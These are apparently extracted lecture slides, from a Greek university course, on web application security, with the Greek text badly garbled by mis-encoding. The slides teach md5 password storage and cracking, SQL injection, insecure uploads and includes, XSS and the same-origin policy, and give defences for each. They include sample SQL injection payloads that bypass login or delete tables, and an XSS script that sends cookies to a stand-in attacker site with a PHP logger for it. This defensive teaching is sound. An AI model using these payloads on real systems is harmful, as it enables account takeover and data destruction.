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Σρνιή Ζιεθηξνιόγσλ Μεραληθώλ 

θαη Μεραληθώλ Υπνινγηζηώλ 



Σηόρνο ηεο ώξαο 

• Δμεξεύλεζε δηάθνξσλ προβιεκάηφλ αζθαιείας 

• Καηαλόεζε ησλ αρτηηεθηοληθώλ προβιεκάηφλ 

• Λύζε θαη πξνζηαζία 

• XSS 

• SQL injections 

• Αλαζθαιέο αλέβαζκα αξρείσλ 

• Δθηειέζηκα .inc 

• Κσδηθνί θαη md5 

• Όια κέζα από παξαδείγκαηα 



• Δίδακε ζην κάζεκα δηθηύσλ: 

• Tα δεδνκέλα ζηέιλνληαη σο απιό θείκελν 

 

• Πώο πξνζηαηεύνπκε από ην “sniffing”… 

• Κσδηθνύο πξόζβαζεο; 

• Μπηζθόηα κε επαίζζεηεο πιεξνθνξίεο; 

• Μπηζθόηα ζπλόδνπ; 



• Μεξηθέο ηδέεο… 

• Αο πξνζζέηνπκε κεξηθνύο «άρξεζηνπο» ραξαθηήξεο ζηελ αξρή ηνπ 

θσδηθνύ. 

• Αο θάλνπκε θξππηνγξάθεζε “Καίζαξα” ηνλ θσδηθό κε Javascript 

ζηνλ client πξηλ ηνλ ζηείινπκε κε ζηαζεξό γλσζηό θιεηδί. 

• Αζθάιεηα κέζφ αθάλεηας 

• Αλ ν επηηηζέκελνο είρε αξθεηό τρόλο θαη τρήκα 

• Αλ είρε πιήρε πρόζβαζε ζηολ θώδηθα 

• Θα κπνξνύζε λα ζπάζεη ηελ αζθάιεηά καο; 

• Τόηε πξόθεηηαη γηα αζθάιεηα κέζσ αθάλεηαο 

• Αθάλεηα ≠ Αζθάιεηα 



HTTPS 

• Γπλαηή θξππηνγξάθηζε πνπ δελ ζπάεη 

• Φξήζε πηζηνπνηεηηθώλ 

• Γελ είλαη δπλαηέο νη ππνθινπέο δεδνκέλσλ 

• Γελ είλαη δπλαηή ε αιιαγή δεδνκέλσλ ζην δίθηπν 

 

• Αλ γίλεη θάηη απ‟ όια απηά… 

• Ο θπιινκεηξεηήο καο πξνεηδνπνηεί 



HTTPS 

• Φσξίο HTTPS, έλαο ελδηάκεζνο κπνξεί 

• Να δηαβάζεη ηα δεδνκέλα 

• Να αιιάμεη ηα δεδνκέλα 

• «Δλδηάκεζνο» κπνξεί λα είλαη: 

• Ο ISP 

• Κάπνηνο πνπ έρεη ζηήζεη έλα «ειεύζεξν» αζύξκαην δίθηπν 

 

• (παράδεηγκα) 



Μία εξώηεζε 

• Ποηέ δελ ππάξρεη απόιπηε αζθάιεηα 

• Ζ ηεράζηηα αζθάιεηα είλαη ππεξβνιηθά αθρηβή 

• Σε ρξόλν θαη ζε ρξήκα 

• Θεσξνύκε δεδοκέλο όηη ππάξρνπλ πξνβιήκαηα 

αζθαιείαο 

• Πώο κπνξνύκε λα ειαρηζηνπνηήζνπκε ηο θόζηος ζε 

πεξίπησζε παξαβίαζεο; 



Απνζεθεπκέλνη θσδηθνί 

• Έζησ όηη θάπνηνο παραβηάδεη ηελ βάζε δεδνκέλσλ καο 

• Αλ νη θσδηθνί ησλ ρξεζηώλ είλαη ζε απιό θείκελν απνθηά 

πξόζβαζε ζε απηνύο 

• Μήπσο λα ηνπο απνζεθεύακε αιιηώο; 



md5 

• Σπλάξηεζε 

• Πεδίν νξηζκνύ: όια ηα αιθαξηζκεηηθά 

• Πεδίν ηηκώλ: 32ςήθηνη δεθαεμαδηθνί αξηζκνί 

md5 hello 5d41402abc4b2a76b9719d911017c592 

md5 liroulirou 332500b1c7380a16247bbde002f28696 



md5 

• Ζ md5 δελ είλαη 1 – 1 (απόδεημε;) 

• Γελ έρεη βξεζεί ε md5-1 

 



md5 

• Σηελ πξαγκαηηθόηεηα ππάξρνπλ θαιύηεξεο ζπλαξηήζεηο 

• π.ρ. sha2 

• Οη βαζηθέο ηδηόηεηεο είλαη νη ίδηεο 

• Μνλόδξνκε ζπλάξηεζε (δύζθνιε ε εύξεζε ηεο f-1) 

• Ζ md5 ρξεζηκνπνηείηαη αθόκε επξέσο 



Γεκηνπξγία ινγαξηαζκνύ 

$user = $_POST[ „user‟ ]; 

$password = $_POST[ „password‟ ]; 

$password = md5( $password ); 

 

mysql_query( 

 “INSERT INTO 

  users 

 SET 

  name = „$user‟, 

     password = „$password‟;” 

); 



Πηζηνπνίεζε κε md5 

• Ο server δελ γλφρίδεη ηνλ θσδηθό 

• Γλσξίδεη κόλν ην hash 

Φξήζηεο 

Κσδηθόο ζε απιό θείκελν 

Γηαθνκηζηήο 
md5( password ) θαη ζύγθξηζε κε Βάζε 

δεδνκέλσλ 



Πηζηνπνίεζε κε md5 

$user = $_POST[ „user‟ ]; 

$password = $_POST[ „password‟ ]; 

$password = md5( $password ); 

 

$res = mysql_query( 

 “SELECT userid FROM 

  users 

 WHERE 

  name = „$user‟, 

     password = „$password‟ 

 LIMIT 1;” 

); 



Σπάζηκν md5 

• Πξόβιεκα: 

• Γίλεηαη ην 5d41402abc4b2a76b9719d911017c592 

• Πνην είλαη ην αιθαξηζκεηηθό πνπ έρεη απηό ην md5; 

• Κάζε «κνλόδξνκε» ζπλάξηεζε ζπάεη κε δνθηκέο 

• Γνθηκάδνπκε κήπσο 

• md5( “aa” ) = “5d41402abc4b2a76b9719d911017c592” 

• md5( “ab” ) = “5d41402abc4b2a76b9719d911017c592” 

• md5( “ac” ) = “5d41402abc4b2a76b9719d911017c592” 

• … 

• Γηα θάζε πηζαλό αιθαξηζκεηηθό 

 



Σπάζηκν md5 

• Δύθνιν λα ζπάζνπλ θσδηθνί κε 6 – 7 ραξαθηήξεο 

• Γύν είδε δνθηκώλ: 

• Brute force: Όια ηα πηζαλά αιθαξηζκεηηθά 

• a, b, c, …, aa, ab, ac, …, ba, bb, …, aaa, aab, … 

• Dictionary: Όιεο νη ιέμεηο ηνπ ιεμηθνύ, πηζαλώο θαη ζπλδπαζκνί 

• a, aback, abacus, abase, abash, …, zoology, zoom 

• (παράδεηγκα) 



Αλνηρηό εξώηεκα 

• Υπάξρεη α ηέηνην ώζηε md5( α ) = α; 



SQL injection 

Έλα αζών SQL εξώηεκα... 

 

$res = mysql_query( 

“SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „$password‟ 

 AND name = „$user‟ 

LIMIT 1;” 

); 



SQL injection 

Υπό θαλνληθέο ζπλζήθεο… 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „ILoveYou‟ 

 AND name = „dionyziz‟ 

LIMIT 1; 



SQL Injection 

Τη γίλεηαη όκσο αλ... $username είναι dio‟nyziz; 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 name = „dio‟nyziz‟ 

 AND password = „ILoveYou‟ 

LIMIT 1; 

Σσληαθηηθό ζθάικα! 



SQL Injection 

Αθόκε ρεηξόηεξα... 

 

$username είναι 

dio‟ OR 1 = 1 OR name = „nyziz ; 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „ILoveYou‟ AND 

 name = „dio‟ OR 1 = 1 OR name = „nyziz‟ 

LIMIT 1; 

Δελ ππάξρεη ζπληαθηηθό ζθάικα! 



SQL injection 

password = „ILoveYou‟ AND 

name = „dio‟ OR 1 = 1 OR name = „nyziz‟ 

 

(((password = „ILoveYou‟ AND 

name = „dio‟) OR 1 = 1) OR name = „nyziz‟) 

 

 

 Αιεζέο! Δπηιέγεη ηελ πρώηε εγγξαθή. 

Σπλήζσο ινγαξηαζκόο administrator  



SQL injection 

$username είναι 

dio‟; DELETE FROM users; -- 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „ILoveYou‟ AND 

 name = „dio‟; 

DELETE FROM users; -- ‟ LIMIT 1; 

MySQL ζρόιην 



SQL injection 

$username είναι 

dio‟; DROP TABLE users; -- 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „ILoveYou‟ AND 

 name = „dio‟; 

DROP TABLE users; -- ‟ LIMIT 1; 



SQL Injection 

• Tν SQL injection κπνξεί λα επηηξέςεη: 

• Αληηγξαθή όισλ ησλ δεδνκέλσλ καο ρσξίο λα ην μέξνπκε 

• Αιιαγή ησλ δεδνκέλσλ καο 

• Γηαγξαθή ησλ δεδνκέλσλ καο 

• Μπνξεί λα ρξεζηκνπνηεζεί σο πάηεκα γηα πιήξε πξόζβαζε 

• π.ρ. γηα πξόζβαζε ζε administrator ινγαξηαζκνύο 

• αλάγλσζε θσδηθώλ πξόζβαζεο 

• θιπ. 



Απνθπγή SQL injection 

• Απνθπγή όισλ ησλ ραξαθηήξσλ „ θαη “ θαη \ 

 

<?php 

 $username = $_POST[ „username‟ ]; 

if ( 

    strpos( $username, “‟”  ) !== false 

 || strpos( $username, “\\” ) !== false 

 || strpos( $username, „”‟  ) !== false ) { 

 die( “You‟re not welcome here.” ); 

} 

?> 



Απνθπγή SQL injection 

• Τη γίλεηαη όκσο αλ ζέινπκε λα επηηξέςνπκε ηνπο 

ραξαθηήξεο „, “, θαη \   ? 

• Γελ γίλεηαη λα απαγνξεύνπκε π.ρ. ηελ αλαδήηεζε κε 

εηζαγσγηθά! 

• Πώο είλαη εθηθηό λα πεξλάκε ηνπο ραξαθηήξεο απηνύο 

τφρίς ηδηαίηερε ζεκαζία ζηελ MySQL? 



Απνθπγή SQL injection 

• Escape όισλ ησλ ραξαθηήξσλ: 

• „  \‟ 

• “  \“ 

• \  \\ 

 

<?php 

 $username = $_POST[ „username‟ ]; 

 $username = addslashes( $username ); 

?> 



Απνθπγή SQL Injection 

Αλ... $username είναι dio‟nyziz; 

 

SELECT 

 userid 

FROM 

 users 

WHERE 

 name = „dio\‟nyziz‟ 

 AND password = „ILoveYou‟ 

LIMIT 1; 

Μέρος ηο αιθαρηζκεηηθού 



Απνθπγή SQL Injection 

• mysql_real_escape_string() 

• Κάλεη ηελ ίδηα δνπιεηά κε ηελ addslashes() 

• Τελ πξνηηκνύκε από ηελ addslashes θαζώο ιακβάλεη 

ππ‟ όςηλ ην encoding ηεο βάζεο δεδνκέλσλ 





Πνην είλαη ην βαζύηεξν πξόβιεκα; 

• Τα δεδοκέλα θαη νη εληοιές αλαπαξίζηαληαη ζε έλα θοηλό 

αιθαξηζκεηηθό 

• Γελ ππάξρεη δηαρσξηζκόο εληοιώλ θαη δεδοκέλφλ ζε 

επίπεδν PHP 

• Όια είλαη έλα κεγάιο string! 

• Έηζη ηα δεδοκέλα κπνξνύλ λα θαηαιήμνπλ λα είλαη 

εληοιές 

• Πρόβιεκα αζθαιείας 



$res = mysql_query( 

“SELECT 

 userid 

FROM 

 users 

WHERE 

 password = „” 

   . $password . 
 ”‟ AND name = „” 

 . $user . 
 ”‟ 

LIMIT 1;” 

); 

Δεδοκέλα 

Εληοιές 

Α
ι
θ

α
ρ

ηζ
κ

ε
ηη

θ
ό

 

Δεδοκέλα 



Πώο δηαρσξίδνπκε εληνιέο/δεδνκέλα; 

• Γελ ζα ήηαλ σξαίν λα είρακε... 

 

$res = prepared_query( 

“SELECT 

 userid 

FROM 

 users 

WHERE 

 password = ? 

 AND name = ? 

LIMIT 1;”, array( $password, $user ) 

); 

 

Εληοιές 

Δεδοκέλα 



<?php 

function prepared_query( $code, $data ) { 

   $parts = explode( „?‟, $code ); 

   $sql = „‟; 

   foreach ( $data as $value ) { 

 $sql .= array_shift( $parts ); 

 $sql .= „”‟ .addslashes($value). „”‟; 

   } 

   $sql .= array_shift( $parts ); 

   return mysql_query( $sql ) 

   or die( mysql_error() ); 

} 

?> 



«Πξνεηνηκαζκέλα» εξσηήκαηα 

• Δξσηήκαηα όπνπ μερσξίδνπλ ηα δεδνκέλα από ηηο εληνιέο 

• Ζ PHP πξνζθέξεη θαη θάπνηεο έηνηκεο ιύζεηο 

• Βηβιηνζήθε PDO http://php.net/pdo 

• Βηβιηνζήθε MySQLi http://php.net/mysqli 

http://gr.php.net/pdo
http://gr.php.net/pdo
http://gr.php.net/mysqli
http://gr.php.net/mysqli


Αλαζθαιέο αλέβαζκα αξρείσλ 

• Σύλεζεο ιάζνο ζηελ άζθεζε File uploader 

• Δπηηξέπεηαη ην αλέβαζκα αξρείσλ .php 

• ... ηα νπνία κεηά κπνξνύλ λα ηξέμνπλ 

 

• (παράδεηγκα) 



Μαύξε ιίζηα 

• Tξόπνο γηα εηζαγσγή πεξηνξηζκώλ 

• Σηόρνο ζπλήζσο ε δηόξζσζε πξνβιήκαηνο αζθαιείαο 

• Μαύξε ιίζηα: Σεηξά από απαγνξεύζεηο 

• Απαγνξεύνληαη ηα: 

• .php αξρεία 

• .html αξρεία 

• .js αξρεία 

• .css αξρεία 



Άζπξε ιίζηα 

• Ίδηνο ζηόρνο κε ηελ καύξε ιίζηα 

• Πην αζθαιέο 

• Σεηξά από επηηξεπόκελα 

• Δπηηξέπνληαη ηα: 

• .jpg, .bmp, .gif, .png αξρεία 

• .zip, .rar αξρεία 

• .mp3, .mp4, .mpg, .avi αξρεία 

• .txt, .pdf, .doc, .xsl αξρεία 



Άζπξε ιίζηα > Μαύξε ιίζηα 

• Πνηνο ζα θαληαδόηαλ όηη ηα αξρεία “.php3” κπνξεί λα είλαη 

επηδήκηα; 

• Ζ άζπξε ιίζηα είλαη πην δύζθνιν λα γξαθηεί 

• Όκσο αλ θάηη δελ πάεη θαιά ε πξνεπηινγή είλαη ε 

αζθάιεηα θαη όρη ε αλαζθάιεηα 

• ...θαη πνιύ ζπρλά θάηη δελ πάεη θαιά! 



Γξίθνο SQL 

• Πξηλ ηηο Φξηζηνπγελληάηηθεο δηαθνπέο παξνπζηάζακε έλαλ 
γξίθν SQL 

 

Σρήκα 

• products 

• pid 

• name 

• sellers 

• sid 

• address 

• supply 

• pid 

• sid 

• price 

 

Δξώηεκα πνπ λα εκθαλίδεη ιίζηα από όια ηα 

πξντόληα (ην όλνκά ηνπο) καδί κε ηελ 

δηεύζπλζε όπνπ κπνξνύκε λα ηα 

πξνκεζεπηνύκε θζελόηερα? 



pid name 

1 Πνξηνθάιηα 

2 Μαληαξίληα 

3 Μπαλάλεο 

4 Λεκόληα 

sid address 

1 Μνλαζηεξάθη 

2 Αθξόπνιε 

3 Εσγξάθνπ 

4 Ζιηνύπνιε 

5 Γαιάηζη 

pid sid price 

1 1 3 

1 3 1 

1 5 2 

2 1 30 

2 4 45 

2 5 60 

3 4 22 

3 5 60 

4 2 7 

product address 

Πνξηνθάιηα Εσγξάθνπ 

Μαληαξίληα Μνλαζηεξάθη 

Μπαλάλεο Ζιηνύπνιε 

Λεκόληα Αθξόπνιε 



Γξίθνο SQL 

Δίλαη ζσζηό; 

 

SELECT 

 name, address 

FROM 

 products CROSS JOIN supply 

  ON products.pid = supply.pid 

 CROSS JOIN sellers 

  ON supply.sid = sellers.sid 

ORDER BY 

 price ASC; 

 

Εκθαλίδεη ηο ίδηο προχόλ ποιιές θορές 



Γξίθνο SQL 

Δίλαη ζσζηό; 

 

SELECT 

 MIN( price ), name, address 

FROM 

 products CROSS JOIN supply 

  ON products.pid = supply.pid 

 CROSS JOIN sellers 

  ON supply.sid = sellers.sid 

GROUP BY 

 pid; 

 

Ειάτηζηε ηηκή Ασζαίρεηε δηεύζσλζε 



Γξίθνο SQL 

Δίλαη ζσζηό; 

 

SELECT 

 name, address, price 

FROM 

 products CROSS JOIN supply 

  ON products.pid = supply.pid 

 CROSS JOIN sellers 

  ON supply.sid = sellers.sid 

GROUP BY pid 

ORDER BY 

 price ASC; 

 

Πρώηα γίλεηαη 

Έπεηηα γίλεηαη 

Λάζος δηεύζσλζε θαη ηηκή 



Γξίθνο SQL 

Ηδέα! Οξηζκόο ειαρίζηνπ: 

• Δθείλν γηα ην νπνίν δελ σπάρτεη κηθρόηερο ζην ίδην 

ζύλνιν. 

 

• Μία απηνέλσζε καο επηηξέπεη ζύγθξηζε κε άιια ζηνηρεία 

ώζηε λα βξνύκε απηό πνπ δελ έρεη άιιν κηθξόηεξν. 



SELECT 

 name, address, cheap.price 

FROM 

 products CROSS JOIN supply AS cheap 

  ON products.pid = cheap.pid 

 CROSS JOIN sellers 

  ON cheap.sid = sellers.sid 

 LEFT JOIN supply AS threat 

  ON products.pid = threat.pid 

  AND threat.price < cheap.price 

WHERE 

 threat.pid IS NULL; Δελ σπάρτεη απεηιή 

Ορηζκός απεηιής 



Γξίθνο SQL 

• Λύζεθε από: 

• Νηθόιαο Κνξαζίδεο 

• Μάθεο Αξζέλεο 

• Σσθξάηεο Βίδξνο 

• Πάξηο Καζηδηάξεο 

• Ζιίαο Καλέιινο 

• Αιέμαλδξνο Γηδαξάθνο 



Αλαζθαιέο include 

• Πξόβιεκα όηαλ: 

• Δπηηξέπνπκε ηελ πξόζβαζε ζε αξρεία πνπ θαλνληθά... 

• Δίηε δελ ζα έπξεπε λα ππάξρεη θαζόινπ πξόζβαζε 

• Δίηε ζα έπξεπε λα είλαη κόλν εθηειέζηκα θαη όρη αλαγλώζηκα 

 

• π.ρ. ρξήζε θαηάιεμεο “.inc” γηα ηα included αξρεία, αληί 

γηα “.php” 

 

• (παράδεηγκα) 



Αλαζθαιέο include 

• Πξόβικα όηαλ: 

• Κάλνπκε include αξρείσλ ρσξίο έιεγρν γηα ην πνύ 

βξίζθνληαη 

• Μπνξεί λα δώζεη πξόζβαζε ζε ζεκεία πνπ δελ ζέινπκε 

 

• (παράδεηγκα) 



XSS 

• Cross-site Scripting 

• Σπλήζσο επηηξέπεη πξόζβαζε ζε κπηζθόηα 

• Μπηζθόηα = Πηζηνπνίεζε 

• Άξα επηηξέπεη πξόζβαζε ζε ινγαξηαζκνύο πνπ δελ ζα 

είρακε θαλνληθά 

 

• Τν πην δύζθοιο πξόβιεκα αζθαιείαο ζηελ θαηαλόεζε 

γηα ζήκεξα  



Βαζηθή αξρή αζθαιείαο ηνπ web 

• Τν web ρξεζηκνπνηεί έλα κνληέιν «ακκνδνρείνπ» 

• Ο ρξήζηεο κπνξεί λα κπεη ζε ζειίδεο ειεύζερα τφρίς λα 
θοβάηαη 

• Κακία ζειίδα δελ κπνξεί λα βιάυεη ηνλ ππνινγηζηή καο 
• Μία επίζθεςε δελ αξθεί γηα λα θάλεη θαθό ζ‟ εκάο 

• Τν ρεηξόηεξν πνπ ζπκβαίλεη είλαη λα καο θάλνπλ RickRoll! 

• Δθηόο αλ ην επηηξέςνπκε εκείο θαηεβάδνληαο θάπνην 
πρόγρακκα 

• Δθεί δηαθέξνπλ νη web εθαξκνγέο από ηηο desktop 

• Τν web κνληέιν είλαη έλα αζθαιέζηεξν κνληέιν 

• Γελ απαηηείηαη εκπηζηνζύλε γηα λα «ηξέμνπκε» κία web 
εθαξκνγή 



2 ζειίδεο 
• kokkinoskoufitsa.gr 

• Έλα site πνπ αλήθεη ζηνλ «θαιό» 

• kakoslykos.gr: 

• Έλα site πνπ αλήθεη ζηνλ «θαθό» 

 

• Ωο δηαρεηξηζηήο ηνπ kokkinoskoufitsa.gr, ην επηζθέπηνκαη 

• Τα κπηζθόηα κνπ κνύ δίλνπλ πξόζβαζε δηαρεηξηζηή 

• Σηε ζπλέρεηα επηζθέπηνκαη ην kakoslykos.gr ρσξίο λα 

γλσξίδσ ηη είλαη 

• Απηό δελ ζα πξέπεη λα επηηξέςεη ζηνλ πξνγξακκαηηζηή 

ηνπ kakoslykos.gr λα απνθηήζεη πξόζβαζε επηπέδνπ 

δηαρεηξηζηή ζην kokkinoskoufitsa.gr 



XSS 

• Javascript document.cookie: 

• Δπηζηξέθεη ηα cookies ηεο ζειίδαο όπνπ ηξέρεη 

• Φξήζηκν π.ρ. γηα λα βξνύκε ην username ηνπ ρξήζηε πνπ 

έρεη θάλεη login 

• Φξήζηκν επίζεο γηα λα ζέζοσκε cookies ρσξίο λα είλαη 

απαξαίηεηε ε PHP 



XSS 

• Αξθεί ιίγε Javascript γηα λα θάλεη ην θαθό... 

 

• Έζησ όηη ν kakoslykos θαηαθέξλεη λα ηξέμεη ην αθόινπζν 
ζην kokkinoskoufitsa.gr: 

 
<script type=“text/javascript”> 

    var img = document.createElement( „img‟ ); 

 

    img.src = 
„http://kakoslykos.gr/steal.php?cookie=„ + 
document.cookie; 

    document.appendChild( img ); 

</script> 



XSS 

• Δλώ ζην steal.php ηνπ kakoslykos.gr έρεη: 

 

<?php 

 file_put_contents( 

  “haha.txt”, $_GET[ „cookie‟ ] 

 ); 

?> 



• Τξόπνο επίζεζεο: 

• Ο kakoslykos «εηζάγεη» ηνλ θώδηθα Javascript ζην 

kokkinoskoyfitsa.gr θαη πεξηκέλεη 

• Ο δηαρεηξηζηήο ηνπ kokkinoskoyfitsa επηζθέπηεηαη ηε ζειίδα 

kokkinoskoyfitsa.gr 

• Ο «θαθόο» θώδηθαο Javascript ηρέτεη ζηνλ ππνινγηζηή ηνπ 

«θαινύ» δηαρεηξηζηή ρσξίο λα ην γλσξίδεη 

• Τα κπηζθόηα ηνπ «θαινύ» δηαρεηξηζηή ζηέιλοληαη κέζσ HTTP ζηε 

ζειίδα kakoslykos.gr 

• Δθεί θαηαγράθοληαη ζε αξρείν, θαη ν kakoslykos έρεη πιένλ 

πξόζβαζε δηαρεηξηζηή 

XSS 



XSS 

• Πώο εηζάγεηαη όκσο Javascript θώδηθαο; 

• Σεκεία όπνπ εθηππώλεηαη είζνδνο ρξήζηε ρσξίο έιεγρν: 

 

<p><?php 

 echo “Welcome, “ . $_GET[ „user‟ ]; 

?></p> 



XSS 

• Υπό θαλνληθέο ζπλζήθεο... αλ user είλαη dionyziz: 

 

<p>Welcome, dionyziz</p> 

 



XSS 

• Τη γίλεηαη όκσο αλ... user είλαη diony<ziz; 

 

<p>Welcome, diony<ziz</p> 

 

Σσληαθηηθό ζθάικα! 



XSS 

• Aλ user είλαη diony<strong>ziz</strong>; 

 

<p>Welcome, diony<strong>ziz</strong></p> 

 

Δελ ππάξρεη ζπληαθηηθό ζθάικα! 



XSS 

• Οπζηαζηηθά θάλακε έλα HTML injection 

• Παξόκνηα κε ην SQL injection, έρνπκε πιήξε έιεγρν ηνπ 

θώδηθα 

• Aλ user είλαη diony<script type=“text/javascript”>alert( 

„XSS‟ );</script>ziz; 

 

<p>Welcome, diony<script 

type=“text/javascript”>alert( „XSS‟ );</script>ziz </p> 

 



XSS 

• Αιιάδνληαο ηα πεξηερόκελα ηνπ script έρνπκε πιένλ 

απόιπην έιεγρν ζην ηη ζα εθηειεζηεί ζε έλα site πνπ δελ 

είλαη δηθό καο...  

<p>Welcome, diony 

<script type=“text/javascript”> 

    var img = document.createElement( „img‟ ); 

    img.src = „http://kakoslykos.gr/steal.php‟ + 
document.cookie; 

    document.appendChild( img ); 

</script> 

ziz</p> 

 



XSS 

• Javascript ζηνλ ππνινγηζηή καο ηξέρνπκε ό,ηη ζέινπκε ζε 

νπνηαδήπνηε ζειίδα 

• Τν ελδηαθέξνλ είλαη λα θάλνπκε λα ηξέμεη θάπνηνο άιιος 

ηελ Javascript κας ζηελ μέλε ζειίδα 

• Καηά πξνηίκεζε θάπνηνο δηαρεηξηζηήο 

• Απηό κπνξεί λα επηηερζεί αλ θαηαθέξνπκε λα 

απνζεθεύζνπκε κόληκα ηελ «θαθή» Javascript 

• π.ρ. σο κέξνο ελόο post 

 

• (παράδεηγκα) 



Απνθπγή XSS 
• Πξέπεη λα θηιηξάξνπκε ηα inputs καο 

• Απνθπγή όισλ ησλ ραξαθηήξσλ <, &, “ θαη > 

 

<?php 

 $username = $_GET[ „username‟ ]; 

if ( 

    strpos( $username, “<”  ) !== false 

 || strpos( $username, “>” ) !== false 

 || strpos( $username, „”‟  ) !== false ) { 

 die( “You‟re not welcome here.” ); 

} 

?> 



Απνθπγή XSS 
• Αλ όκσο ζέινπκε λα επηηξέπνπκε <, >, & θαη “; 

• Σε έλα forum π.ρ. θάπνηνο κπνξεί λα ζέιεη όντως λα 

γξάςεη HTML πνπ λα εκθαλίδεηαη απηνύζηα 

 

• Κάλνπκε escape ηνπο ραξαθηήξεο καο κε entities 

• <          &lt; 

• >          &gt; 

• &          &amp; 

• “         &quot; 



Απνθπγή XSS 

• htmlspecialchars: Αληηθαζηζηά ηα HTML entities 

 

<?php 

 $username = $_GET[ „username‟ ]; 

 echo “Welcome, “ 

  . htmlspecialchars( $username ); 

?> 

 



XSS 

• Aλ user είλαη diony<script type=“text/javascript”>alert( 

„XSS‟ );</script>ziz; 

 

<p>Welcome, diony&lt;script 

type=&quot;text/javascript&quot;&gt;alert( „XSS‟ 

);</script>ziz </p> 

 

Welcome, diony<script type=“text/javascript”>alert( „XSS‟ );></script>ziz 

Δελ εθηειείηαη, απιώς εκθαλίδεηαη 



Same-origin policy 

• Υπάξρνπλ εκπηζηεπηηθέο πιεξνθνξίεο πνπ έρεη θαλείο 

πξόζβαζε κόλν κε κπηζθόηα 

• Γίλνληαο ην κπηζθόην κνπ ζην gmail.com έρσ πξόζβαζε 

ζηα e-mail κνπ. 

• Όηαλ ν browser «δεηάεη» κία ζειίδα, ζηέιλεη ηα αληίζηνηρα 

κπηζθόηα καδί 



Same-origin policy 

• Τη γίλεηαη αλ όηαλ ν δηαρεηξηζηήο ηνπ kokkinoskoufitsa.gr 
επηζθεθζεί ην kakoslykos.gr όπνπ ζα ηξέμεη θάηη ζαλ θη απηό; 

 

<script type=“text/javascript”> 
$.get( 

   “http://kokkinoskoufitsa.gr/email.php”, 

   function ( data ) { 

      var img = document.createElement( „img‟ ); 

      img.src = „steal.php?data=‟ + data; 

      document.appendChild( img ); 

   } 

); 

</script> 

 



Same-origin policy 

• Οη browsers ην απαγνξεύνπλ απηό 

• Επηηρέπεηαη λα γίλνπλ embed εηθόλεο από άιιεο ζειίδεο 

• Επηηρέπεηαη λα γίλνπλ embed ήρνη, video, scripts 

• Απηό ην embed γίλεηαη κε ηα ορζά cookies 

• Δελ επηηξέπεηαη ε αλάγλφζε ησλ θαζεαπηώλ δεδνκέλσλ 

• Γηόηη απηά κπνξεί λα είλαη εκπηζηεπηηθά 

 

• «Άιιεο ζειίδεο» ζεκαίλεη: 

• Γηαθνξεηηθό domain, subdomain 

• http VS https 

• Γηαθνξεηηθή TCP/IP ζύξα 

• (παξάδεηγκα) 



Μάζακε 

• Τππηθά πξνβιήκαηα αζθαιείαο ζην web θαη γεληθά 

• SQL injections 

• XSS 

• Αλαζθαιέο αλέβαζκα αξρείσλ 

• Δθηειέζηκα .inc 

• Κσδηθνί θαη md5 

• Καηάιιειεο ιύζεηο 

• Ad hoc 

• Οξζή αξρηηεθηνληθή 

 



Σπγραξεηήξηα! 
• Μπνξείηε λα ταθάρεηε ηελ 

ηράπεδα ζας! 



Σπγραξεηήξηα! 
• Μπνξείηε λα θάλεηε αζθαιή ηελ 

ζειίδα ζας! 



Τελ επόκελε θνξά... 

• Σπλαξηεζηαθόο πξνγξακκαηηζκόο ζε Javascript 

• Μία πξνζπάζεηα κείσζεο ησλ πνλνθεθάισλ όηαλ βιέπεηε 

«πεξίεξγν» θώδηθα 


